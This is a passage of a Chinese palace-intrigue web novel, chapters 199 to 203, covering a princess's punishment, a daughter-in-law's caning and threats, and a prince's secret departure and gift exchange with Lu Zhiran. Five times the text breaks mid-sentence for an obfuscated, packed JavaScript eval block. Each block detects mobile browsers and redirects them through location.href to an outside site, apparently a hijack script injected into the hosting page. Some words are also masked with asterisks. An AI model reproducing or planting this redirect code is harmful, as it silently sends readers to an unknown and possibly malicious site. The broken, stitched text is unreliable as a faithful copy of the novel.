卢文渊这个老东西更是当场下跪求一个公道,皇上被架了起来,已是骑虎难下。 这件事注定解释不清,那不如舍了这个女儿,来个大义灭亲,至少,还能在皇上跟前有个交代,或多或少挽回一些局势。 萧婉贞看到母亲眼里的那抹狠绝,很快便意识到,自己被舍弃了。 第199章 坚持住,不能死 她心口一痛,整个人如坠深渊。 “母妃,儿臣才是受害者!” “住嘴,当着历代先祖的面,你还敢撒谎,皇室的脸面都被你丢尽了!” 李贵妃不再看她,转而对德丰帝道:“皇上,是臣妾教女无方,才让贞儿做出这等违背纲常之事,臣妾断不敢替她说半句好话!她如此行径,已不堪宗妇之责,皇上便将她罚去皇家寺庙中静思己过吧!” 萧婉贞闻言,身子狠狠一晃,险些摔倒。 皇家寺庙,那是人待的地方吗? 她堂堂公主,若是被送去那里,岂不是过得连奴婢都不如? 更何况,她根本没有做过这件事,为何要让她承担这一切? “母妃,您怎能如此狠心!” 李贵妃语气决绝,“你做错了事,自然就该受到惩戒。” 德丰帝看向卢文渊,“卢爱卿,这个交代,你觉得如何?” 卢文渊慌忙行礼,语气惶恐,“公主乃千金之躯,岂能去皇家寺庙那样的地方?公主虽有错处,但好在大错尚未酿成,如此惩戒,委实太过了些。” 眼下卢家是苦主,稍微拿乔一二或许还说得过去,但若当真顺水推舟把公主送去皇家寺庙,那就掂量不清自己的分量了。 德丰帝听了这话,面色稍缓。 “那卢爱卿觉得如何处置为好?” 卢文渊连连推辞,识趣地没开口。 孙皇后缓缓道:“皇上,贞儿只是一时糊涂,臣妾亦觉得送去皇家寺庙有些过于严苛了。不若便让她在自己公主府好生思过,想来经此一事,她定然已经意识到自己的错处。” 德丰帝沉吟片刻,“皇后还是过于仁慈了。传朕旨意,即日起,褫夺公主封号,禁足半年,不许再插手卢家一应事务。” 李贵妃闻言,心头这才终于放松下去。 她方才之所以那番态度,固然有大义灭亲之意,但也并非当真要置自己女儿于死地。 她只有提议从重处罚,才能有机会让皇上对她从轻处罚。 萧婉贞双目失神,麻木地开口。 “儿臣领旨谢恩!” 赵书宁一直低着头,安静得毫无存在感。 萧婉贞目光幽幽地盯着她,充满怨毒。 “父皇,儿臣愿意领罚,那她呢?又该如何处置?” 赵书宁再次叩首,“臣妇犯下滔天大错,自知难以脱罪,任凭皇上发落!” 德丰帝淡淡看着她,“赵氏品行不端,不堪诰命之身,自今日起,褫夺诰命之身,无召不得入宫。” 赵书宁心头一松。 用一个诰命之身,换来一条性命,值了! 但紧接着,德丰帝又道:“赵氏胆大妄为,藐视皇权,屡教不改,若不严惩不足以震慑人心。来人,将她押下去,重打三十大板,生死由命。” 赵书宁的面色刷地一下变得惨白。 三十板子,可以伤筋动骨,也可以要人性命! 她能撑过这三十大板吗? 赵书宁心中闪过一抹惶恐。 她很快就被人拖了下去,毫不客气地摁在了长凳上。 重重的板子落下,剧烈的疼痛瞬间在臀部炸开。 她死死地咬着牙,才没让自己叫出声来。 紧接着,第二下,第三下,疼痛一波接一波,像是要将她的皮肉生生撕裂。 不知过了多久,她感觉自己的意识开始模糊,眼前一阵阵发黑,耳边只剩下板子与皮肉相撞的啪啪声。 她死死抓着长凳的边缘,指甲嵌进木头里。 坚持住,不能死。 只要还有一口气在,一切就都有希望! 这个强烈的信念支撑着她,让她坚持了下来。 最后一个板子落下,她已然疼得麻木,但至少,她还活着。 德丰帝淡漠地看着她,“倒是命大。宣平侯,你若是不好好管束好府中人,下次,可就没那么幸运了。” 楚定峰和楚翊安面色惨白,立马跪下请罪。 德丰帝正欲抬步离开,谁料此时,殿内那支重新点上的蜡烛再次发出一声爆破。 “砰”一声响,动静不大,但也叫人难以忽视,也成为点燃德丰帝胸中怒火的**。 “朕拨了那么多银子操办此次祭祖,你们就是这么采买的?连一根蜡烛都买不好,朕的银子都花在了何处?” 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162055|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏清和礼部、太常寺的官员都跪了下来。 “父皇,是儿臣办事不力……” 先是萧婉贞,后是萧晏清,他们姐弟俩没一个省心的! “你的确办事不力,那便先歇一歇,好好沉淀沉淀再来当差吧!” 萧晏清的脸色瞬间惨白。 德丰帝撂下这话,直接甩袖而去。 萧晏清半晌才从地上站起,面色一片阴沉。 对萧婉贞,他心中也生出了迁怒。 若不是她闹出这桩事,惹了父皇不快,自己岂会受这鱼池之殃? 而且,他们也早就走了,也没这后头的事了。 萧婉贞却完全顾不上萧晏清的想法,她正怨毒地盯着赵书宁,恨不得冲上去再补几板子,把她打死。 都这样还不死,果然是祸害遗千年! 众人都走了,楚定峰和楚翊安这才从地上站起。 看着只剩一口气的女人,楚定峰满脸厌恶。 “这个女人就是个祸害!方才怎么就没把她打死?” 楚翊安的眼底也没有半分怜惜,只有无尽的后悔,后悔自己当初把这么一个人带进了侯府。 如果当初,他没有把她带回来,如今的侯府,又会是怎样一番境遇? 想到方才站在人群中那分外引人注目的女子,悔意如入骨之蛆,狠狠地折磨着他。 赵书宁在为自己的所作所为付出代价,同样的,他也是。 他们都在自食恶果。 楚翊安掏了银子请人把赵书宁抬回去,他半点都不曾沾手。 能不能熬过去,就看她自己的命了。 赵书宁艰难抬头,只看到自己的男人头也不回地离开了,对自己的伤情,没有半句关怀。 这一瞬间,她冷得透骨。 一道裙摆出现在她的视线里,赵书宁抬头看去,看到了一张陌生的脸。 那人居高临下地看着她,语气亦是带着高高在上的施舍。 “赵氏,皇后娘娘念在你曾救为她施过一套救命的针法,便从中斡旋,让你捡回了一条命。至此以后,皇后娘娘与你之间便再无因果,你好自为之吧。” 说完,那宫女便转身离开。 第200章 既要又要还要 赵书宁微愣,惨白的脸上露出一抹诡异的笑。 原来如此。 她此前种下的因,成就了此时的果。 这一切,都是冥冥之中的安排。 这也说明,她赵书宁命不该绝! 她的眼底,又重新燃起了希望。 陆知苒,今日的这一笔账,她记下了,总有一日,她定会连本带利尽数讨回来! 赵书宁被血淋淋地抬回了宣平侯府,姜氏和楚云清见了,都狠狠吓了一跳。 直到楚定峰和楚翊安回来,她们才得知发生了什么事。 楚云清吓得面无人色,姜氏则是气得跳脚。 “这个祸害,非要把侯府上下都害死才肯罢休?眼看清儿就要嫁进吴王府,她却把四公主彻底得罪了,以后清儿嫁过去还会有什么好日子过!” 楚云清想到了这一点,原本吓破的胆也原神归位。 她急得跺脚,“那怎么办啊!我要被她害惨了!” 楚翊安沉着脸没有说话。 楚定峰亦是面色阴沉,却也只能出言宽慰。 “皇上已经严惩了她,旁事都只字未提,想来不会迁怒到旁人身上。清儿你便安心备嫁,其他事都不要多管。” 话虽如此,楚云清还是把赵书宁恨上了。 转个背,她就怒气冲冲地跑到青黛阁。 赵书宁趴在床上,侯府无人管她,她只能撑着一口气给自己开药方。 楚云清来的时候,碧莹刚给她上完药。 看着她那血肉模糊的伤处,碧莹又害怕又心疼,不停地抹眼泪。 楚云清闯进来,指着赵书宁怒骂。 “你这个害人精,怎么这么不安分?你闯下这样的大祸,要我今后在吴王府如何立足?你怎么不**算了,继续活着也是祸害人!” 赵书宁的脑袋昏昏沉沉,正是需要好好休养的时候,楚云清的大喊大叫,吵得她额上青筋一阵突突直跳,心底的厌恶也似藤蔓般蔓延。 碧莹出言劝阻,“大小姐,我家少夫人刚受了刑,需要静养,您有什么事……” 碧莹的话还没说完,就被楚云清扬手甩了一记耳光。 “你算个什么东西?本小姐说话也轮得到你在旁边指手画脚?” 赵书宁半撑着抬起身子,目光冷冷地盯着楚云清。 “你又算个什么东西,随随便便到我的院子里撒野?” 她的眼神狠厉,似一条毒蛇,竟叫楚云清狠狠打了个哆嗦。 旋即她就越发恼怒,“我可是为了的吴王侧妃!你敢这么跟我说话?” 赵书宁冷笑一声,“那你可知,你这吴王侧妃的位置,本就是我替你谋算来的?若没有我,你现在根本什么都不是!” 楚云清愣怔,旋即大喊,“你胡说什么?可真会往自己脸上贴金!” 赵书宁脑子昏昏沉沉,懒得开口跟这蠢货解释。 “碧莹,你来告诉她,是怎么一回事。” 碧莹低声开口,将那日之事原原本本尽数道来。 楚云清听得目瞪口呆。 “不,不可能,定是你胡编滥造的!” 她一直以为一切都是巧合,是她与吴王之间的缘分,却原来,竟是自己的自作多情?一切都是赵书宁暗中促成的?这叫她如何接受得了? 赵书宁冷冷道:“自欺欺人的蠢货,你若还继续这般不识趣,就不要怪我不留情面,直接把此事捅出去。若吴王和李贵妃误以为此事是你与我联手,算计了他们,你这侧妃之位可还保得住?” 楚云清心头一紧,“你,你敢!我,我分明完全不知此事。” “你要如何证明这一点?须知,在吴王和李贵妃的眼里,我们才是一伙的。” 楚云清脸色青白交错,色厉内荏地道:“你,你怎么敢?” “我已经是死过一次的人,我有什么不敢的?别惹我,惹急了我,我不介意拉着整个侯府陪葬。” 楚云清嘴唇哆嗦,半个字都说不出来。 “记住,你现在拥有的一切,都是我替你谋划来的,你非但没有理由责怪我,还要对我感恩戴德。今后你给我放聪明点,若你还依旧像现在这样愚蠢,那谁都帮不了你。” 楚云清愣怔着,依旧没能说出话来。 楚翊安大步流星而入,他的脸色十分难看,显然已经把方才的话听了个全。 他怒声质问,“赵书宁,你凭什么自作主张地算计清儿?” 自己妹妹是个什么样的人,他清楚得很。 她进了吴王府,究竟是福是祸还两说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162056|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 楚云清回过神来,也跟着质问,“对,对啊,你凭什么自作主张地算计我?你分明就是在利用我!” 赵书宁勾起一抹嘲讽,“你们先前不是都挺欢天喜地的吗?怎么现在就变成了算计和利用?我做这一切,都是为了侯府的未来!若没有我的谋算,侯府早就成了一颗弃子,现在,至少侯府还在吴王的船上!” 既想出人头地,又想保留所谓清高,既要又要还要,世上哪来这样的好事? 她的眼底那抹嘲讽深深地刺痛了楚翊安的自尊,他拳头握得咯咯作响。 “你不要太过自以为是,侯府的门楣不是靠你一届女流之辈撑起来的!” “那是靠你?一个不入流的小兵?” 这话简直踩到了楚翊安的痛脚,他脸色剧变。 “你!我至少不会给侯府招祸!你算计清儿也就罢了,连公主也敢算计,谁给你的胆子?” 赵书宁脑子越发昏沉,脸色也愈发苍白,她没了力气再与他们这些蠢货掰扯。 “事情我已经做了,你待如何?若你没有胆量杀了我,就不要再在我面前说这些无用的话。” 说完,她闭上了眼睛,转过头去,不再分给他们多余的眼神。 她料定他不敢杀自己。 因为他就是个虚伪的**子,他就算想要自己死,也定然不会自己动手,让自己背上不好的名声。 楚翊安阴沉沉地盯着她,最后只冷冷撂下一句,“你好自为之吧。” 说完,他甩袖而去,楚云清也哼了一声,转身离开。 碧莹抹着泪,替她打抱不平。 “大少爷怎么能这么对您?当初分明不是这样的。” 赵书宁心中已然掀不起半分波澜。 “人心易变,自古如是。当初,也只是当初罢了。” 他变了,她也变了。 他们之间,早就不复从前。 “我今夜可能会发高热,你照着我的方子提前把药备好,一定要捏着鼻子把药给我灌下去。” 她撑着最后一口气活了过来,断然不能死在高热上。 她有预感,西平的消息很快就会传回京城,她必须要赶在这之前好起来。 只有彻底恢复过来,才能有希望翻身。 第201章 翻窗翻上瘾了? 一场祭祖,闹出这么多风波,大家都不禁暗自唏嘘。 李贵妃回到毓秀宫就砸了一套茶具,大骂赵书宁狡诈,又骂萧婉贞愚蠢,连累萧晏清也白白丢了差事。 柔妃则是关起门笑了一场。 “亏得以前她还把赵书宁当成个宝似的,处处抬举,现在可好,被反咬了一口,真是乐**。” 叶寒衣也从萧宝珠的口中听到了不少关于赵书宁的事迹,今日倒是第一次见到本人。 不知为何,她心中莫名觉得,这件事萧婉贞是无辜的。 赵书宁给她一种心机十分深沉之感,她的眼神,让叶寒衣想到了森林里的毒蛇,阴暗歹毒,令人不寒而栗。 这样的人,不足为信,李贵妃这一次的确是引狼**了。 柔妃狠狠笑话了李贵妃一通,心情正好,萧晏辞就提了一件事。 “母妃,儿臣要出一趟远门。” 柔妃脸上的笑意立时收了收。 “你去哪里?去做什么?” 叶寒衣也看着他,面露好奇。 萧晏辞面露无奈之色,“还不是悟尘大师,他在父皇面前说儿臣的佛根未断,在娶妻之前需得把佛缘了了,不然日后儿臣注定没有子嗣。所以,儿臣要听从他的安排,把佛缘了结,才能回来娶妻生子。” 柔妃一听,顿时急了,“那老秃驴瞎说什么!” 萧晏辞连忙安抚,“母妃莫急,儿臣也不信他的鬼话,儿臣也不想出这趟门,明日儿臣就去告诉父皇,儿臣哪儿都不去。” 柔妃神色一顿,反倒露出了迟疑之色。 “这,这宁可信其有,不可信其无,那悟尘大师虽然神神叨叨的,但还是有几分真本事在身上。你还是随他去一趟吧。” 萧晏辞有些不情愿,“这一趟出门,少说得几个月的时间,母妃舍得儿臣吗?” 柔妃心中自然不舍,但想到悟尘大师的话,她就只能压下了心中情绪。 “你都多大了,又不是小孩子,母妃有什么好不舍的?你整日在母妃跟前晃悠,母妃还觉得烦呢。” 萧晏辞故作伤心,“没想到母妃这般绝情。唉,那我就走了,母妃到时候想儿臣了,可别哭鼻子。” 柔妃拉过叶寒衣的手,“母妃有寒衣陪着,才不会想你呢。” 萧晏辞又一番插科打诨,柔妃心头那点子怅然便很快被冲淡了。 天色不早,萧晏辞不便继续在宫中久待。 离开之时,他暗中踢了叶寒衣一脚,叶寒衣眉峰微动,与他前后脚一道告退了。 到了回廊处,果然萧晏辞在那等她。 “何事这般偷偷摸摸?” 萧晏辞开门见山,“你这次入京,带了多少人?” “祖父给我拨了一支精锐,约莫四五百人吧。” “借我用用。” 叶寒衣脑子一转,很快就生出了猜测。 “你方才是在骗姑母。你究竟是要去何处?” 萧晏辞回答得半真半假,“去西平,我有个朋友,蒋南笙,你应当知道,她在西平失踪了,我去寻她。此事不宜声张,我连父皇都瞒着,宝珠那里更不能透露,是以我不便动用自己明面上的人。” 叶寒衣神色一凛。 她自然知道这人,萧宝珠时常把她挂在嘴边,叶寒衣对她便也生出了十二分的好奇。 “此去会有危险,若你不愿意的话,就算了。” 叶寒衣哼了一声,“谁说我不愿意?我们滇南府的兵,个个都是好手,区区一点小危险算得了什么?你可别太瞧不起人。” 萧晏辞露出一抹笑来,“谢了。” “你把真相告诉我,就不怕我给你捅出去?” 萧晏辞挑眉,“你会吗?” 叶寒衣双手抱怀,“我自是不会做这不讲道义之事。” “这不就行了?我有什么好担心的。” 他的态度大大取悦了叶寒衣,让她有种被无条件信任的感觉。 “全须全尾地回来,不然我没法向姑母交代。” “知道。那等宵小之辈,还奈何不了我。母妃这里,劳你替我多陪着些,别说漏嘴。” 简单交代了一番,萧晏辞便大步流星地离开了。 叶寒衣看着他离开的背影,眸底多了一丝淡淡的担忧。 陆知苒回到瑶光阁,换下了过于厚重的衣裳,整个人都松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162057|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快了。 今日的结果,虽然与预料中有所偏差,但也不算太差。 赵书宁被褫夺了诰命之身,还挨了一顿板子,便是不死,也要狠狠脱一层皮了。 旁人或许会觉得此事是萧婉贞授意,但陆知苒却能笃定,萧婉贞完全是被她摆了一道。 赵书宁此举,的确是为她换来了一线生机,但她也彻底得罪了萧婉贞。 多行不义必自毙,日后,萧婉贞定然会把这笔账原原本本地还回去。 吃了一碗丹烟现做的虾仁小馄饨,陆知苒正准备舒舒服服地躺下歇一会儿,窗户处又传来一阵叩叩的声音。 陆知苒猛地坐起,方才的慵懒姿态瞬间一扫而空。 她以最快的速度换了一件严实的衣裳,又把头发整理一番,让翠芙和丹烟把门守好,这才上前,打开了窗。 果然是萧晏辞。 他利落地翻窗而入,整个屋子瞬间又显得逼仄起来。 二人不约而同想到那日量身的情形,神色都有些不自然。 “殿下,您怎么来了?” 他怎么又来了?翻窗翻上瘾了不成? 萧晏辞轻咳一声,“林骁已经把人手准备齐全,我打算今晚连夜出发,特来与你辞别。” 陆知苒惊讶,“那么快?” “西平局势未知,多耽搁一日,只恐事情生变。” “皇上那头……” “该说的,能说的,我已向父皇禀明。” 今日太庙祭祖生了变故,德丰帝心情不佳,萧晏辞偏选在此时向他回禀了西平的消息,德丰帝大怒,立马就派出人手前去西平核查此事,半点都不耽搁。 他要的就是这个效果。 另一方面,他自己也不想耽搁。 离开前,总要见她一面,不然总觉得心里缺了点什么。 陆知苒郑重道:“殿下保重,定要平安回来。” 萧晏辞点头,“好。” 他看着她,不走,也不说话,陆知苒被他看得又开始不自在起来。 “殿下可还有其他吩咐?” 萧晏辞目光灼灼,“你不送个临别之礼给本王?” 蒋南笙都有,他也要有。 第202章 互赠礼物 陆知苒“啊”了一下,脸上写满错愕。 竟然还有人主动讨要礼物的? “没有吗?” 陆知苒:……她的确没准备。 她嘴巴快过脑子,脱口而出,“殿下不是老丢东西吗?” 自己送给他,他也留不住啊。 这话说完她就后悔了,二人还没熟稔到可以这么说话。 正要请罪,萧晏辞就道:“你不一样。” 说着,他从怀里掏出了一个东西,摊在手心,放在她面前。 “这个耳坠,本王一直贴身放着,没有丢。” 陆知苒看着那耳坠,觉得十分眼熟,半晌终于想起来,这是她的耳坠,当日在贺连山遇袭之时,这耳坠就掉了一只。 原来,竟被他捡了去,还一直贴身放着? 陆知苒下意识摸了摸自己的耳朵,耳垂红了,有点烫手,连带着,脸颊也染上一抹绯红。 萧晏辞的目光一直落在她的脸上,将她的反应尽收眼底,心头升起一丝异样。 他即将离开京城,归期未定,他不想被遗忘,至少,要让她知道自己真正的心意。 他对她早就生了心思,是男人对女人的心思,而不是将她当作合作的幕僚。 陆知苒头一次生出一种事情超出掌控的慌乱。 “或许,只是一个巧合。” 萧晏辞摇头,语气坚定,“不是巧合,你与旁人不一样。” 陆知苒微垂眼睑,避开了他的视线。 这超出了她的预料,并非她想要的。 她只想要权利,至于其他,那是一种奢求,也是一种负担。 萧晏辞看出她的回避,也没有再步步紧逼。 凡事都需要一个过程,不能把人逼急了。 “你可愿给本王送一件礼物,叫本王试验一番?” 陆知苒调整好神色,十分诚恳地回答,“我没有准备,这屋中之物,殿下想要什么,尽可拿去。” 萧晏辞想到那日在衣柜中,被她的衣物所包裹,鼻尖萦绕着的独属于她的馨香,若是…… 不行,会被当成登徒子。 “你可有自己亲手做过些小东西?香囊,帕子,不拘何物,只要是你亲手所绣皆可。” 这样的东西,也带着私密与亲近。 陆知苒耳尖又染上一抹微热,但她还是取下了自己腰间的香囊,“这是我自己绣的,里面的香料也是我自己调配,若殿下不嫌弃,便赠与您,希望您此去一路顺利,平安归来。” 萧晏辞伸手接过,笑出一口大白牙。 “不嫌弃。” 他本欲将香囊挂在腰间,想了想,又转而将它塞进怀里,与那个耳坠一并贴身放着,还小心地摸了摸。 陆知苒看着他的这番动作,面颊泛起不自在。 那个耳坠,他就没有要还回来的意思? 萧晏辞从身上摸出一样东西,递到她面前。 “投桃报李,本王也回赠一个礼物给你。” 他手里拿着的是个木簪,制作很普通,甚至还有些粗糙拙劣。 他轻咳一声,“这是本王幼时自己亲手打磨的,望你也莫嫌弃。” 彼时他便说过,要把簪子送给自己的王妃。 现在,他有王妃了,这个木簪自然要早早送出去。 陆知苒看着那木簪,突然就觉得有点烫手。 但她不收,反倒像是嫌弃,便只能伸手接过。 “多谢殿下馈赠,我定好好珍藏。” 萧晏辞却对这个回答不甚满意,“无需珍藏,最好放在显眼的地方,平时多看几眼。” 看到这木簪,自然就能想到他。 他的意思很明显,毫不遮掩,陆知苒再次有种无力招架之感,只能胡乱点头。 “还有一件事,本王给你留个人。你身边的丫鬟太弱了,若发生意外,她们没有能力护你周全。本王留的那丫鬟手上有些功夫,也通医理,放在你身边,能更好地替你办差事。这是她的**契。从此以后,她便是你的人。” 陆知苒有些诧异,旋即很快就接受了他的好意。 她的身边的确需要有这么个身手好的帮手。 她此前并非没有想过寻个人,但人心难测,她没有太多时间和精力去验证一个人对她的忠心,便将此事搁置了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162058|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>萧晏辞给她送来了这么一个人,此人必然是可靠的。 她接过那**契,真诚地道:“多谢殿下。” “瑾王府也还有人手,你若是遇到了什么难题,可以让人去王府求援。实在不行,也可以入宫寻我母妃,她会帮你的。” 当然,他希望这些情况都不会发生,那至少说明自己不在的时候,她很安全。 陆知苒认真地一一记下。 该交代的事都交代了,萧晏辞实在没了继续留下来的理由。 “本王走了。” 陆知苒点头,“殿下多保重。” 萧晏辞最后看了她一眼,很快翻窗离开。 屋中重新恢复了安静,不知为何,陆知苒突然觉得屋子有些过于空旷,连带着,心头也有点空落落的。 伸手抚着那木簪,心中情绪久久难平。 她起身,将那簪子放在了最显眼的妆匣里。 翌日,高嬷嬷就看到妆奁里的那个簪子,她眸光微微顿了顿。 她是萧晏辞的奶娘,这簪子的来历没人比她更清楚。 它会出现在这里,足以说明一切。 高嬷嬷看向陆知苒的眼神变得更加不同,态度也愈发恭敬。 陆知苒察觉到了,面上又染上几分不自在。 她想把簪子收起来,但又有种欲盖弥彰之嫌,索性便作罢了。 高嬷嬷开始对她身边的丫鬟进行调教,为之**瑾王府做准备。 高嬷嬷要求严格,泰半的丫鬟都不合格,最后,柔妃做主送来了一批人。 其中一人名为霜华,她便是萧晏辞送来的人。 她生得十分普通,扔在人群中绝不会多看一眼,但她的举止仪态却十分标准,挑不出半点错处。 陆知苒将她选为一等丫鬟,其余人则交由高嬷嬷安排。 霜华到了陆知苒身边,也并未露出半分异色,陆知苒不开口,她便安静地如同隐形人。 “霜华,你可知自己现在是谁的人?” 霜华低着头,语气恭敬,“奴婢是县主的人,一切都听从县主的吩咐与安排。” 陆知苒很满意。 第203章 相看驸马 翠芙和丹烟对于突然多出来的人也并未生出危机或不满,自家小姐以后可是要当王妃的人,她的身边注定要有很多伺候的下人,她们只需安安分分地做好自己的事便是,旁事都无需多管。 陆知苒原本还想宽慰她们一番,但没想到她们能有此觉悟,心中也愈发熨帖。 “你们是陪着我从小长大,又一路走来的人,任何人,都越不过你们在我心中的位置。” 翠芙和丹烟听了她这番推心置腹的话,也愈发安心。 陆知苒安心待在院中学规矩,萧宝珠和叶寒衣却不请自来。 陆知苒见了她们,很是高兴。 “你们怎么来了?” 萧宝珠故意道:“怎么,苒姐姐不欢迎我们?” 陆知苒伸手戳她脑门,“我哪儿敢啊,你提前说一声,我也好准备你爱吃的,不然我这粗茶淡饭的,岂不委屈了你?” 萧宝珠面露惆怅,“我最近没有胃口,便是有山珍海味摆在我面前,我也吃不下。” 陆知苒不禁诧异,“这是怎么了?” 萧宝珠一手托腮,幽幽道:“母后要替我相看驸马了。” 陆知苒神色微顿,“皇后相中的是哪家的公子?” “还能有哪家?自然是孙家,我那嫡亲的表兄。” 萧宝珠语气怏怏,一副兴致缺缺的模样。 陆知苒并未露出惊讶之色,因为上辈子,萧宝珠的驸马的确是她的嫡亲表兄孙景轩。 上辈子自己困于内宅,也只是听说了这桩婚事,其他更多的细节却是不得而知。 而今看来,萧宝珠对这桩亲事显然是不乐意的。 “你不喜欢孙公子?” 萧宝珠脑袋摇成了拨浪鼓,“谁会喜欢一个整日装腔作势,还爱对你说教的人啊?” 叶寒衣八卦,“你可是有心仪之人?” 萧宝珠再次摇头,“没有啊,臭男人有什么好稀罕的,我一个都不喜欢。” 叶寒衣明显不信,满脸怀疑。 “那那位蒋小神医呢?” 萧宝珠摆摆手,“她不一样。” 叶寒衣追问,“他哪里不一样?” 萧宝珠摇头,“你不懂,总之我跟她不可能。” 叶寒衣见此,越发觉得有猫腻。 他们之间,分明很有故事。 叶寒衣好奇地一再追问,萧宝珠都守口如瓶,陆知苒在一旁努力憋笑。 叶寒衣怕是想破脑袋也想不到,蒋南笙其实是个女子。 萧宝珠与蒋南笙之间,只有姐妹之情,全无男女之谊。 萧宝珠生怕露馅儿,赶紧转移话题。 “寒衣姐姐,柔妃娘娘不是也打算替你择婿吗?你喜欢什么样的男子?” 陆知苒闻言,立马饶有兴味地看着她。 到了自己身上,叶寒衣也换上了兴致缺缺的神色。 “我可瞧不上京中的公子哥,一个个娇弱得风吹就倒,没意思。” 萧宝珠心直口快,“那你怎么也瞧不上我七皇兄?” 叶寒衣也心直口快,“他就是个莽夫,谁要嫁个莽夫啊。” 陆知苒:…… 有没有考虑过她的感受? 叶寒衣后知后觉地反应过来,连忙找补,“我不是那个意思,我表兄挺好的,但我跟他跟兄弟似的,真要嫁给他我得别扭死。” 陆知苒想想,的确是,他们表兄妹不论是外形,还是内在气质都如出一辙,确实像兄弟似的。 萧宝珠吐槽她,“你嫌京中的公子哥手无缚鸡之力,又嫌我七皇兄那样的是莽夫,那你到底要挑个什么样的?” “功夫一定要比我好,长得一定要顺眼,反正我表兄那样的不行。最重要的一点,不能有妾室。” 萧宝珠听了前半段还在点头,听到后半句,她就连连摇头。 “不纳妾的男人上哪儿找?你做梦去吧。” 叶寒衣理所当然地道:“谁说没有,我爹就没纳妾,我祖父也没纳妾。我们叶家的规矩,除非四十无子,不然一律不许纳妾。” 萧宝珠听得目瞪口呆,“你们叶家还有这样的家风?” “对呀。” 萧宝珠喃喃,“那柔妃嫁给我父皇,岂不是很委屈?” 叶寒衣点头,“对呀。” 她姑母年轻貌美,皇上的年纪跟她祖父没差多少,姑母嫁给他这么个糟老头,还要跟那么多女人争宠,还远离家乡,这么多年都没机会回去看一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162059|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那简直是委屈**。 陆知苒:…… 她轻咳一声,叶寒衣回神,“不是,没有,皇上九五之尊,我姑母自是不委屈的!” 这话萧宝珠不信,她自己替柔妃委屈。 萧宝珠由衷道:“你还是别嫁到京城来了,京城没几个男人能做到你们叶家那样。” 叶寒衣耸耸肩,“我本也没打算嫁到京城,我爹娘也舍不得我,但若我自己愿意,他们也不会阻拦,姑母也全凭我的想法,不会强求。” 萧宝珠闻言,满脸羡慕。 “你家人待你真好。” 叶寒衣笑道:“你也很受宠啊。” 萧宝珠眼底闪过一抹黯淡。 她与母后之间,永远隔着一层。 父皇虽然宠爱她,但在婚嫁之事上,也不会由着她,给她完全自由的选择。 她很快甩开了杂念。 跟普通人相比,她已经拥有了很多,不能再去奢望更多。 萧宝珠转入了正题,“过几日,我要去城外狩猎,和我的表兄表姐们,还会有其他公子小姐,你们要不要一起来?” 陆知苒问,“是孙家牵头的?” 萧宝珠点头。 陆知苒明白了,这场狩猎,多半有孙皇后的授意,目的是为了撮合萧宝珠和孙景轩。 萧宝珠原本那么爱玩的性子,提起这事都没了半点兴致,可见她对此有多排斥。 叶寒衣很感兴趣,“我要去,在皇宫里待久了,感觉浑身都不舒坦,正好趁此机会好好舒展舒展筋骨。” 萧宝珠又期待地看向陆知苒。 陆知苒倒是不排斥,但她也有顾虑。 “我现在的身份,只怕不便随意抛头露面。” 她本该在家中备嫁,再去参加这种男女相看的场合,的确不合适。 